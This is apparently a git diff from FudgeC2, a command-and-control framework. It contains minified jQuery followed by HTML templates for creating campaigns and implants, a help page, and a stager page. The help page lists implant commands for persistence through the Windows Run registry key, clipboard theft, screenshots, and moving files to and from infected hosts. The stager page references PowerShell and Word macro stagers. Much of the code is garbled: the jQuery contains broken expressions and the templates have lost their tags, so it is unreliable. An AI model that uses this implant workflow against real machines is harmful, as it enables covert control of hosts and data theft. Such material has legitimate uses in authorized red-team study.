e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Ke)}),w.fn.extend({css:function(e,t){return z(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=$e(e),i=t.length;a1)}});function tt(e,t,n,r,i){return new tt.prototype.init(e,t,n,r,i)}w.Tween=tt,tt.prototype={constructor:tt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||w.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(w.cssNumber[n]?"":"px")},cur:function(){var e=tt.propHooks[this.prop];return e&&e.get?e.get(this):tt.propHooks._default.get(this)},run:function(e){var t,n=tt.propHooks[this.prop];return this.options.duration?this.pos=t=w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):tt.propHooks._default.set(this),this}},tt.prototype.init.prototype=tt.prototype,tt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=w.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[w.cssProps[e.prop]]&&!w.cssHooks[e.prop]?e.elem[e.prop]=e.now:w.style(e.elem,e.prop,e.now+e.unit)}}},tt.propHooks.scrollTop=tt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},w.fx=tt.prototype.init,w.fx.step={};var nt,rt,it=/^(?:toggle|show|hide)$/,ot=/queueHooks$/;function at(){rt&&(!1===r.hidden&&e.requestAnimationFrame?e.requestAnimationFrame(at):e.setTimeout(at,w.fx.interval),w.fx.tick())}function st(){return e.setTimeout(function(){nt=void 0}),nt=Date.now()}function ut(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=oe[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function lt(e,t,n){for(var r,i=(pt.tweeners[t]||[]).concat(pt.tweeners["*"]),o=0,a=i.length;o1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&N(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(M);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=ht[t]||w.find.attr;ht[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=ht[a],ht[a]=i,i=null!=n(e,t,r)?a:null,ht[a]=o),i}});var gt=/^(?:input|select|textarea|button)$/i,yt=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return z(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):gt.test(e.nodeName)||yt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)||[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")||""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,mt(this)))});if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,mt(this)))});if(!arguments.length)return this.attr("class","");if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,mt(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=xt(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=mt(this))&&J.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":J.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+vt(mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var bt=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(bt,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:vt(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var wt=/^(?:focusinfocus|focusoutblur)$/,Tt=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,s,u,l,c,p,d,h,v=[i||r],m=f.call(t,"type")?t.type:t,x=f.call(t,"namespace")?t.namespace.split("."):[];if(s=h=u=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!wt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(x=m.split(".")).shift(),x.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=x.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+x.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),d=w.event.special[m]||{},o||!d.trigger||!1!==d.trigger.apply(i,n))){if(!o&&!d.noBubble&&!y(i)){for(l=d.delegateType||m,wt.test(l+m)||(s=s.parentNode);s;s=s.parentNode)v.push(s),u=s;u===(i.ownerDocument||r)&&v.push(u.defaultView||u.parentWindow||e)}a=0;while((s=v[a++])&&!t.isPropagationStopped())h=s,t.type=a>1?l:d.bindType||m,(p=(J.get(s,"events")||{})[t.type]&&J.get(s,"handle"))&&p.apply(s,n),(p=c&&s[c])&&p.apply&&Y(s)&&(t.result=p.apply(s,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||d._default&&!1!==d._default.apply(v.pop(),n)||!Y(i)||c&&g(i[m])&&!y(i)&&((u=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,Tt),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,Tt),w.event.triggered=void 0,u&&(i[c]=u)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=J.access(r,t);i||r.addEventListener(e,n,!0),J.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=J.access(r,t)-1;i?J.access(r,t,i):(r.removeEventListener(e,n,!0),J.remove(r,t))}}});var Ct=e.location,Et=Date.now(),kt=/\?/;w.parseXML=function(t){var n;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){n=void 0}return n&&!n.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+t),n};var St=/\[\]$/,Dt=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;function jt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||St.test(e)?r(e,i):jt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==x(t))r(e,t);else for(i in t)jt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(Dt,"\r\n")}}):{name:t.name,value:n.replace(Dt,"\r\n")}}).get()}});var qt=/%20/g,Lt=/#.*$/,Ht=/([?&])_=[^&]*/,Ot=/^(.*?):[ \t]*([^\r\n]*)$/gm,Pt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Mt=/^(?:GET|HEAD)$/,Rt=/^\/\//,It={},Wt={},$t="*/".concat("*"),Bt=r.createElement("a");Bt.href=Ct.href;function Ft(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(M)||[];if(g(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function _t(e,t,n,r){var i={},o=e===Wt;function a(s){var u;return i[s]=!0,w.each(e[s]||[],function(e,s){var l=s(t,n,r);return"string"!=typeof l||o||i[l]?o?!(u=l):void 0:(t.dataTypes.unshift(l),a(l),!1)}),u}return a(t.dataTypes[0])||!i["*"]&&a("*")}function zt(e,t){var n,r,i=w.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&w.extend(!0,e,r),e}function Xt(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}function Ut(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:Pt.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?zt(zt(e,w.ajaxSettings),t):zt(w.ajaxSettings,e)},ajaxPrefilter:Ft(It),ajaxTransport:Ft(Wt),ajax:function(t,n){"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,p,d,h=w.ajaxSetup({},n),g=h.context||h,y=h.context&&(g.nodeType||g.jquery)?w(g):w.event,v=w.Deferred(),m=w.Callbacks("once memory"),x=h.statusCode||{},b={},T={},C="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(c){if(!s){s={};while(t=Ot.exec(a))s[t[1].toLowerCase()]=t[2]}t=s[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return c?a:null},setRequestHeader:function(e,t){return null==c&&(e=T[e.toLowerCase()]=T[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==c&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)E.always(e[E.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||C;return i&&i.abort(t),k(0,t),this}};if(v.promise(E),h.url=((t||h.url||Ct.href)+"").replace(Rt,Ct.protocol+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(M)||[""],null==h.crossDomain){l=r.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Bt.protocol+"//"+Bt.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=w.param(h.data,h.traditional)),_t(It,h,n,E),c)return E;(f=w.event&&h.global)&&0==w.active++&&w.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Mt.test(h.type),o=h.url.replace(Lt,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(qt,"+")):(d=h.url.slice(o.length),h.data&&(h.processData||"string"==typeof h.data)&&(o+=(kt.test(o)?"&":"?")+h.data,delete h.data),!1===h.cache&&(o=o.replace(Ht,"$1"),d=(kt.test(o)?"&":"?")+"_="+Et+++d),h.url=o+d),h.ifModified&&(w.lastModified[o]&&E.setRequestHeader("If-Modified-Since",w.lastModified[o]),w.etag[o]&&E.setRequestHeader("If-None-Match",w.etag[o])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&E.setRequestHeader("Content-Type",h.contentType),E.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+$t+"; q=0.01":""):h.accepts["*"]);for(p in h.headers)E.setRequestHeader(p,h.headers[p]);if(h.beforeSend&&(!1===h.beforeSend.call(g,E,h)||c))return E.abort();if(C="abort",m.add(h.complete),E.done(h.success),E.fail(h.error),i=_t(Wt,h,n,E)){if(E.readyState=1,f&&y.trigger("ajaxSend",[E,h]),c)return E;h.async&&h.timeout>0&&(u=e.setTimeout(function(){E.abort("timeout")},h.timeout));try{c=!1,i.send(b,k)}catch(e){if(c)throw e;k(-1,e)}}else k(-1,"No Transport");function k(t,n,r,s){var l,p,d,b,T,C=n;c||(c=!0,u&&e.clearTimeout(u),i=void 0,a=s||"",E.readyState=t>0?4:0,l=t>=200&&t<300||304===t,r&&(b=Xt(h,E,r)),b=Ut(h,b,E,l),l?(h.ifModified&&((T=E.getResponseHeader("Last-Modified"))&&(w.lastModified[o]=T),(T=E.getResponseHeader("etag"))&&(w.etag[o]=T)),204===t||"HEAD"===h.type?C="nocontent":304===t?C="notmodified":(C=b.state,p=b.data,l=!(d=b.error))):(d=C,!t&&C||(C="error",t<0&&(t=0))),E.status=t,E.statusText=(n||C)+"",l?v.resolveWith(g,[p,C,E]):v.rejectWith(g,[E,C,d]),E.statusCode(x),x=void 0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(i,o){t=w(" + +{% endblock %} + diff --git a/FudgeC2/ServerApp/templates/CampaignLogs.html b/FudgeC2/ServerApp/templates/CampaignLogs.html new file mode 100644 index 0000000..965a75a --- /dev/null +++ b/FudgeC2/ServerApp/templates/CampaignLogs.html @@ -0,0 +1,85 @@ +{% extends "ImplantMain.html" %} +{% block main2 %} +
+
+

Campaign Logs

+

Dev note: The campaign logging is currently under active development and will be released as a working beta in v0.5.0.

+ + + + + + + + + +
TypeContent
+
+
+
+
+
+ + +{% endblock %} + diff --git a/FudgeC2/ServerApp/templates/CreateCampaign.html b/FudgeC2/ServerApp/templates/CreateCampaign.html new file mode 100644 index 0000000..7658826 --- /dev/null +++ b/FudgeC2/ServerApp/templates/CreateCampaign.html @@ -0,0 +1,22 @@ +{% extends "BaseNavbar.html" %} +{% block main %} +
+
+ {% if error %} + {{ error }} + {% endif %} +
+
Campaign title + +
+
Campaign description + +
+ + + +
+ +
+
+{% endblock %} \ No newline at end of file diff --git a/FudgeC2/ServerApp/templates/CreateImplant.html b/FudgeC2/ServerApp/templates/CreateImplant.html new file mode 100644 index 0000000..8739865 --- /dev/null +++ b/FudgeC2/ServerApp/templates/CreateImplant.html @@ -0,0 +1,75 @@ +{% extends "ImplantMain.html" %} +{% block main2 %} +
+
+ +
+
Implant title *
+ +
+
Implant URL * [proto://][url][:port]
+ +
+
Implant description *
+ +
+
Initial callback delay (Seconds) + +
+
Beacon delay (seconds) + +
+
Implant obfuscation level: + +
+ +
+
+ +
+
+ +
+
+ +
+
+ +
+
+ Commincation channels +
+ + +
+
+ + +
+
+ + +
+
+ + +

+ + +
+ +
+ {% if error %}
{{ error }}
{% endif %} + {% if success %}
{{ success }}
{% endif %} +
+{% endblock %} \ No newline at end of file diff --git a/FudgeC2/ServerApp/templates/HeaderTemplate.html b/FudgeC2/ServerApp/templates/HeaderTemplate.html new file mode 100644 index 0000000..33d1166 --- /dev/null +++ b/FudgeC2/ServerApp/templates/HeaderTemplate.html @@ -0,0 +1,21 @@ + + + + FudgeC2 + + + + + + + + + + + + + +{% block NavbarBlock %}{% endblock %} + + + \ No newline at end of file diff --git a/FudgeC2/ServerApp/templates/HelpPage.html b/FudgeC2/ServerApp/templates/HelpPage.html new file mode 100644 index 0000000..3591447 --- /dev/null +++ b/FudgeC2/ServerApp/templates/HelpPage.html @@ -0,0 +1,114 @@ +{% extends "BaseNavbar.html" %} +{% block main %} +
+
+
+ Help Overview +
+
+
+
+

FudgeC2 Documentation

+

This documentation may contain incomplete information, as well as partial documentation on unimplemented features.

+

Configuration

+

User Account

+
Add user
+

Adding a new user account can be done by any admin in the global settings, found here: + /settings

+ +
Configure campaign users
+

Each campaign contains its own set of user permissions which control user interaction. User can have read-only or read/write permissions allowing them to send commands to active implants. These settings can be found within the campaign settings, under /[campaign id]/settings

+
Password Reset
+

Resetting a users password can be achieve in the global settings. This will generated a one-time password, which the user will change on first logon. (Not yet implemented)
+ /settings

+
+ +
+

Implant commands

+

Active implants have a number of builtin commands designed to perform common actions, such as harvestings host information. These built in commands are invoked by pre-fixing :: to the required command. If no pre-fix is used the implant will try to execute anything else using Powershell.
+

+
+
+
+ + +
:: sys_info
+
Collects username, hostname, domain, and local IP
+ +
:: enable_persistence
+
Enables persistence by embedding a stager payload into the following autorun register key:
+
HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\
+
+ +
:: export_clipboard
+
Attempts to collect any text data stored in the users clipboard. +
+ +
:: load_module [target script]
+
This will load external powershell modules, such as JAWS. +
+ +
:: exec_module [loaded module name]
+
Executes a specific function of a loaded module. +
+ +
:: list_modules
+
Lists all loaded modules by the implant. +
+ +
:: download_file [[ path ] target ]
+
Downloads a file from the infected host. Downloads wil be placed in the directory set in the settings file. +
+ +
:: upload_file [local filename] [[path] filename ]
+
Uploads a target file to the supplied directory. All target upload files should be placed in:
+ {installation dir}/FudgeC2/Storage/implant_resources/ +
+ +
Under development:
+ + +
:: play_audio [target audio file]
+
This will simply play audio on the target host, assuming the target has an audio device. Simply for PoC demonstrations. It should be noted that this will create a temp file.
+ +
:: screenshot
+
captures the users screen if possible
+ +
+
+
+

Listeners

+

+ Listeners are the mechanisms by which active implants and the FudgeC2 server communicate, sending commands and responses between them. Configuring listeners requires admin privileges.

+ +

Caution: When stopping a listener it will impact all implants using the FudgeC2 server, not just those from your own campaign. Communicate to your wider teams.

+ +

When configuring new implants you can configure them to run over a variety of protocols. Each of these protocols have an associated listener which will need to be created.

+ +

Once a listener has been set up for a given protocol and port it does not need to be done against for a separate campaign. All campaign which used an identical implant configuration will use this listener.

+ +

Common examples of shared listeners are HTTP on port 80, or HTTPS on port 443. Once a listener has been set up, all implant, for all campaign can use it (and once stopped, it will stop for all).

+

When creating listeners you have the option to auto-start a listener, this will enable the listener upon creation.

+

Listeners can be configured here:
+ /listeners

+ +
+

Implants

+

Implants are categorised into two types, implant templates, and active implants. Implant templates are a unique base configuration for implants, while active implants are generated upon a stager calling back.

+ + + +
Implant templates
+

An implant template is used to create a base configuration - Once a new implant template is created you can find it's unique stager inside the campaign stagers page.

+

Every time a stager is triggered it will callback to the C2 Server and a new active implant will be generated based on the implant templates configuration.

+ +
Active implants
+

Active implants are the result of a stager successfully calling home to the C2 server. Once an implant has been activated it will show up inside the main campaign page, allowing users with write permissions to register commands to be executed.

+

If a stager is triggered twice two different active implants will be generated - while they will similar properties (such as callback domain/IP, and comms channels) if they have any form of obfuscation enabled the implant generator will create uniquely obfuscated implants.

+

Active implants will be named according to their implant name, and will have a 6 digit number appended for uniqueness.

+
+ +
+
+
+{% endblock %} \ No newline at end of file diff --git a/FudgeC2/ServerApp/templates/Homepage.html b/FudgeC2/ServerApp/templates/Homepage.html new file mode 100644 index 0000000..01f75fb --- /dev/null +++ b/FudgeC2/ServerApp/templates/Homepage.html @@ -0,0 +1,67 @@ +{% extends "BaseNavbar.html" %} +{% block main %} +
+
+

FudgeC2

+

Start by creating a new campaign, and allocating access to any other team members, via the campaign settings. To generate an implant select the desired campaign, and then 'New Implant', configuring the implants required fields.

+

For full documentation see the GitHub wiki.

+ +
Active Campaigns
+ + + + + + +
CampaignImplantLast checked inCallback URL
+ +
Listeners
+ + + + + + +
ListenerProtocolPortState
+
+
+ +{% if out_of_date %} + + +{% endif %} + + + + + + +{% endblock %} \ No newline at end of file diff --git a/FudgeC2/ServerApp/templates/ImplantMain.html b/FudgeC2/ServerApp/templates/ImplantMain.html new file mode 100644 index 0000000..0eea988 --- /dev/null +++ b/FudgeC2/ServerApp/templates/ImplantMain.html @@ -0,0 +1,50 @@ +{% extends "BaseNavbar.html" %} +{% block main %} +
+ +
+
+ {% if Msg %}
{{ Msg }}
{% endif %} + {% block main2 %}{% endblock %} +
+
+
+ + + +{% endblock %} \ No newline at end of file diff --git a/FudgeC2/ServerApp/templates/ImplantStagerPage.html b/FudgeC2/ServerApp/templates/ImplantStagerPage.html new file mode 100644 index 0000000..41da4ee --- /dev/null +++ b/FudgeC2/ServerApp/templates/ImplantStagerPage.html @@ -0,0 +1,49 @@ +{% extends "ImplantMain.html" %} +{% block main2 %} +
+

Existing Implants & Stagers

+ {% if implantList %} + {% for implant in implantList %} +

+ Name: {{ implant }}
+ Description: {{ implantList[implant].description }}
+ URL: {{ implantList[implant].url }} +

+

Click to show stager

+
+ +
Powershell
+
+
+
+
+ {{ implantList[implant].powershell_stager }} +
+
+
+
Docm Macro
+
+
+
+
+
{{ implantList[implant].docm_macro_stager }}
+
+
+
+
+ {% endfor %} + {% else %} +

There are no implant associated with this campaign yet.

+ {% endif %} + + + +
